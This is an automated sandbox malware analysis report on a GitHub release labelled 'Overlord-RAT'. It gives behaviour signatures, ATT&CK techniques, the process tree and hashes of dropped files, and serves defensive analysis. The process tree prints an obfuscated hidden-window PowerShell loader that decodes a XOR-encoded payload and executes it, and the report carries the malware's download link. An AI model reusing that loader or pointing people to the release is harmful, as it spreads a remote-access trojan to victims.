hxxps://github[.]com/ambience-hue/Overlord-RAT/releases/tag/rat

Analysis

user interaction
yes
max time kernel
44s
max time network
49s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
06/07/2026, 16:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://github.com/ambience-hue/Overlord-RAT/releases/tag/rat
Sample260706-tskzaadt2q

Score

8^/10

defense_evasion discovery execution upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
408	powershell.exe
1612	powershell.exe
5920	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
36	1604	chrome.exe

Executes dropped EXE 4 IoCs

pid	Process
2136	overlord-setup.exe
2260	overlord-setup.exe
3732	overlord-setup.exe
1956	ecfghiisik.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000024391-175.dat	upx
behavioral1/memory/2136-210-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp	upx
behavioral1/memory/2136-1774-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp	upx
behavioral1/memory/2260-1777-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp	upx
behavioral1/memory/2260-3325-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp	upx
behavioral1/memory/3732-3327-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp	upx
behavioral1/memory/2136-4889-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1604	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Delays execution with timeout.exe 3 IoCs

defense_evasion

pid	Process
4988	timeout.exe
4500	timeout.exe
5848	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134278283697188560"	chrome.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\Local Settings	chrome.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3940	chrome.exe
3940	chrome.exe
408	powershell.exe
408	powershell.exe
408	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
3940	chrome.exe
3940	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeDebugPrivilege	408	powershell.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe
Token: SeShutdownPrivilege	3940	chrome.exe
Token: SeCreatePagefilePrivilege	3940	chrome.exe

Suspicious use of FindShellTrayWindow 44 IoCs

pid	Process
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe
3940	chrome.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3940 wrote to memory of 1564	3940	chrome.exe	85
PID 3940 wrote to memory of 1172	3940	chrome.exe	86
PID 3940 wrote to memory of 1172	3940	chrome.exe	86
PID 3940 wrote to memory of 1604	3940	chrome.exe	87
PID 3940 wrote to memory of 4480	3940	chrome.exe	88
PID 3940 wrote to memory of 4480	3940	chrome.exe	88
PID 3940 wrote to memory of 4440	3940	chrome.exe	89
PID 3940 wrote to memory of 3876	3940	chrome.exe	90
PID 3940 wrote to memory of 4440	3940	chrome.exe	89
PID 3940 wrote to memory of 3876	3940	chrome.exe	90
PID 3940 wrote to memory of 5060	3940	chrome.exe	93
PID 3940 wrote to memory of 728	3940	chrome.exe	96
PID 3940 wrote to memory of 2136	3940	chrome.exe	99
PID 2136 wrote to memory of 116	2136	overlord-setup.exe	102
PID 116 wrote to memory of 4988	116	cmd.exe	104
PID 116 wrote to memory of 408	116	cmd.exe	107
PID 2260 wrote to memory of 1472	2260	overlord-setup.exe	113
PID 1472 wrote to memory of 4500	1472	cmd.exe	115
PID 3940 wrote to memory of 2436	3940	chrome.exe	117
PID 3940 wrote to memory of 1236	3940	chrome.exe	118
PID 3940 wrote to memory of 5064	3940	chrome.exe	119
PID 1472 wrote to memory of 1612	1472	cmd.exe	121
PID 3732 wrote to memory of 632	3732	overlord-setup.exe	124
PID 408 wrote to memory of 1956	408	powershell.exe	126

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/ambience-hue/Overlord-RAT/releases/tag/rat
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe4668c728,0x7ffe4668c734,0x7ffe4668c740
  2⤵
  PID:1564
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1736,i,17944936198317490930,13073349897881355308,262144 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1996 /prefetch:2
  2⤵
  PID:1172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2180,i,13325993120427730103,4477963025052216589,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2304 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:1604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2376,i,5071528141515216257,838985165306626815,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2492 /prefetch:8
  2⤵
  PID:4480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3172,i,7735568354241675357,10844395797709934842,2097152 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3224 /prefetch:1
  2⤵
  PID:4440
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3176,i,418384720389558845,15303856908241413046,2097152 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3244 /prefetch:1
  2⤵
  PID:3876
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5456,i,4141983275399784385,17762921305534499798,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5460 /prefetch:8
  2⤵
  PID:5060
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5688,i,16661445742584075911,10394309937845420723,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5756 /prefetch:8
  2⤵
  PID:728
- C:\Users\Admin\Downloads\overlord-setup.exe
  "C:\Users\Admin\Downloads\overlord-setup.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_t2136\r.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:116
  - - C:\Windows\system32\timeout.exe
      timeout /t 3 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowSt Hidden -NoP -ExecutionPolicy Bypass -Command "$gtin=-join([IO.File]::ReadAllLines($env:TEMP+'\pcrcmbd.log'));Remove-Item($env:TEMP+'\pcrcmbd.log') -Force -EA 0;$wfe=[Convert]::FromBase64String($gtin);for($af=0;$af -lt $wfe.Length;$af++){$wfe[$af]=$wfe[$af]-bxor 223};$xhbtj=[Text.Encoding]::UTF8.GetString($wfe);IEX $xhbtj"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:408
    - - C:\Users\Admin\AppData\Local\Temp\ecfghiisik.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ecfghiisik.exe"
        5⤵
        Executes dropped EXE
        
        PID:1956
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4568,i,89594675361585018,9699243787489368052,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5776 /prefetch:8
  2⤵
  PID:2436
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6000,i,11353869931325252051,5935077066067496769,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5708 /prefetch:8
  2⤵
  PID:1236
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6004,i,774625091109205649,16724867847223733073,524288 --field-trial-handle=2000,i,5462194544476274909,401160019753868095,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5688 /prefetch:8
  2⤵
  PID:5064

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:832

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3000

C:\Users\Admin\Downloads\overlord-setup.exe
"C:\Users\Admin\Downloads\overlord-setup.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2260
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_t2260\r.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1472
- - C:\Windows\system32\timeout.exe
    timeout /t 3 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowSt Hidden -NoP -ExecutionPolicy Bypass -Command "$gtin=-join([IO.File]::ReadAllLines($env:TEMP+'\pcrcmbd.log'));Remove-Item($env:TEMP+'\pcrcmbd.log') -Force -EA 0;$wfe=[Convert]::FromBase64String($gtin);for($af=0;$af -lt $wfe.Length;$af++){$wfe[$af]=$wfe[$af]-bxor 223};$xhbtj=[Text.Encoding]::UTF8.GetString($wfe);IEX $xhbtj"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1612

C:\Users\Admin\Downloads\overlord-setup.exe
"C:\Users\Admin\Downloads\overlord-setup.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_t3732\r.bat"
  2⤵
  PID:632
- - C:\Windows\system32\timeout.exe
    timeout /t 3 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:5848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowSt Hidden -NoP -ExecutionPolicy Bypass -Command "$gtin=-join([IO.File]::ReadAllLines($env:TEMP+'\pcrcmbd.log'));Remove-Item($env:TEMP+'\pcrcmbd.log') -Force -EA 0;$wfe=[Convert]::FromBase64String($gtin);for($af=0;$af -lt $wfe.Length;$af++){$wfe[$af]=$wfe[$af]-bxor 223};$xhbtj=[Text.Encoding]::UTF8.GetString($wfe);IEX $xhbtj"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5920

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 7de31a3cbd874dc4ac178c8b2eec92043e16450718ae5cb0729e035896405c0f
MD5 5ba44ff0f0e3835016c85b88036b8929
SHA1 4d0528f23ebe0da8770200d056a0b9cab34df584
SHA512 931279c228be4ed95ee41fb810c0f26b2404d12423ad450dc5bb1268495485cebe21355b151baee029cfb4f92ca5c7af38ba2f18b7d6ead7752096c880219a5a
TLSH
T16EE0E5BACC61EC2B28FF476860554649E614136B2B81894B763C850C8FB1A3A964581C
MD5 SHA1 SHA512 TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\temp-index
Size 2KB
SHA256 b39a3080b1e4909c3066a760aa90e97a5a3155c4619690a59ce5d4c61a99b371
MD5 7416979d94eaf535f337d0beab52a1c1
SHA1 f62677319faf2b4bfaa56c7aa517f5b32a33d957
SHA512 7aadc776c373e7b164d75db294f0c874f5981ff7027c6d3c0a8439ce3fb2974e9880a278ba6df9506c83f813a40665516106d3acefd8167f593d80a95e1a4441
TLSH
T1094163497BB3CFE4CF105D79A0E18D123270985960338D2BC089D97D8A677D9C7AB811
MD5 SHA1 SHA512 TLSH

Submit Download

ddf64e16-3805-493a-bbb9-381c16944259.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\ddf64e16-3805-493a-bbb9-381c16944259.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 41d52f2340ccc6fdd1d7f0a5bfb6b853ef84e43fbe76a8a258fb440df91b5e8b
MD5 75b5066e1bee217a843cd280890b8224
SHA1 1603562a2ceefe34c034e8de7fc082f93e1c4a31
SHA512 e2d2ad57b1327737e003dd90b63eda690cb2fca4bafa483dfb4336885134c8f9ee232734c2abb97a425ec9d9624e6bf870cdfb78a5dcc6ed0b23c9f839b788a8
SSDEEP 192:6R40Hzvv72vAPRp2i9/9THsb+WNnPP27L2jIF2C0kwzaOVyIsnAUgE:6R40TnC6XHFwnK2k2HTaGE
TLSH
T14D42D62FA920693B5DDBD219FA257716E7F5103176E42E44EAFC8A2C15EB5CC222700B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 df3f3d7e8eb52eb11376e73179228426d3d2d5efef9c19d4d305887505e18b02
MD5 cf7fedf8f7d2c16e2ee32aeccb0d6abd
SHA1 c0965f169b36b690aaf700b8f80359944a908774
SHA512 0f7e0c7f513e4fbb8754c44a17604a17a368e18bf06088e8c92d246667c4707e4e019b978bfef2975410552144093cebfb7ef11074676b8e4908dde7b23f6a1f
SSDEEP 192:ee14K6IW7KxkXqK4I40pUZNCgVLHrKHfFKslEK2cXzKD/Ty+ErUkKN9H9IB3Wh/+:/1jbW7KxkXqKf/pUZNCgVLH2Hfgslqcx
TLSH
T16F32C727948D9A3F4FECD55CDC526F4F6DB1029272780C2896FB9C0403A97CE115A1AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cd67216d-949a-484b-bea6-435e2d752e03.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\cd67216d-949a-484b-bea6-435e2d752e03.tmp
Size 12KB
SHA256 b17b9b24f443e04b5203822d6d45c6fcf9f034211da0f8a6858afce859180694
MD5 cc2dffd3bf03a876577190bee7c7ad0a
SHA1 978a51c9c9dd7344839a83ae2f67434cb82515a7
SHA512 357d76650a1460038c9d33f1804657aad43d681d9e16e9fa18bcdb7440e1305cc84a0c41b7cea85364d039e5e4090c67eb5c6dbdd1f7dcdfc458cff47deaf513
SSDEEP 192:6R40Hzyv72vAPRp2i9/9THsb+WNnPP27L2CF2C0kwzaIVyIsnAUge:6R40TeC6XHFwnK2a2HTase
TLSH
T18442C62FA920643B5DDBD219FA257717E7F5003176E42E84EAFC892C15EB5CC222740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 d73d0484238a05511843dfa5b583a55a6069b11f5d1ded66dae01d6d2428ed46
MD5 77ee6723a8f20effb7066468efd4b2b8
SHA1 86cc634ff8c2014fc2b75efa1e7ca633b3bb298e
SHA512 fa53a4f3702b3ee8e698eeaffd9f9603079108df5e8d931e2c2a5f5ff699cf808e7295a4fade891865d1034062e5a016f51be2476e0ded96e5d137bd1f4cd3c2
SSDEEP 3072:1iGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMm:1Vm7Rkm1tYpBeh2BAom
TLSH
T1BFC3123B5E74E8365DB9B71EB08E0A1F1EF14AA6D930DE42C8D45B0433EA7CC1A49934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 daa942b0a9b57cf0e4b8c10e3708da8627bb69498f1528130fdc1beb1efe7686
MD5 0fb34994d1cb1f8dd116e5f75aa04f49
SHA1 e0b1bf34386d12ba6121f672c29988c8fbd980a4
SHA512 3c51c68bbe1cf403e0061ef4e0787cbc8014d0aaf8b27e8a6bef0001abfed0512a69eefee5c3b77071f1e2871b1692e17b2fdf3fae471384b6b04646abfaa986
SSDEEP 3072:lGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMm:sm7Rkm1tYpBeh2BAom
TLSH
T1A3C3123B5E71E9775979B74EB08E0B1F1EF14AA2D930DA42C8D85A0437FA7CC1A05934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 2c851e8bbd58a010993d1eb19888bae95012f8a0acd52671613390198864ebec
MD5 4eab50142b8e23da971ea67c2df62eba
SHA1 4e270b627c80b64bf605037edc35aac8b66c547c
SHA512 d20b630bb8cab88138b5840c3459ddfc07918d51817f1afb67ed0b261f49c051fa58bc2822175d19017f5827d1d3f0f46b5e75a5e7d0641874d071fc508f4d37
SSDEEP 3072:miGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMm:mVm7Rkm1tYpBeh2BAom
TLSH
T132C3123B5E74E8365DB9B71EB08E0A1F1EF14AA6D930DE42C8D45B0433EA7CC1A49934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_mruqppe1.toy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mruqppe1.toy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
